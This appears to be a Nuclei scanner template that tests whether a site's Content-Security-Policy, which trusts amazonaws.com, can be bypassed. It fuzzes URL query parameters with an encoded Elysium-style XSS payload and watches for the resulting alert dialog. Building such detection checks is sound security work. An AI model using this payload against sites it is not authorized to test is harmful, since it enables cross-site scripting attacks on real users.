id: amazon-s3-elysium-csp-bypass info: name: Content-Security-Policy Bypass - Amazon S3 Elysium author: renniepak,DhiyaneshDK severity: medium reference: - https://github.com/renniepak/CSPBypass/blob/main/data.tsv metadata: verified: true tags: xss,csp-bypass,amazon-s3-elysium flow: http(1) && headless(1) http: - method: GET path: - "{{BaseURL}}" matchers: - type: word part: header words: - "Content-Security-Policy" - "amazonaws.com" condition: and internal: true headless: - steps: - action: navigate args: url: "{{BaseURL}}" - action: waitdialog name: amazon_s3_elysium_csp_xss args: max-duration: 5s payloads: injection: -
foo
{{ [1].reduce(value.alert, 1); }}
fuzzing: - part: query type: replace mode: single fuzz: - "{{url_encode(injection)}}" matchers: - type: dsl dsl: - "amazon_s3_elysium_csp_xss == true" # digest: 4a0a0047304502200e9dcfffd7db6830b91f52b322ad804170bb733418c4344ee8ce2aa404ed4ba9022100c2b51f87e53140d7d4089e5b3c6373669c770ffbfbd281ee5a0c3c5f6889df7d:922c64590222798bb761d5b6d8e72950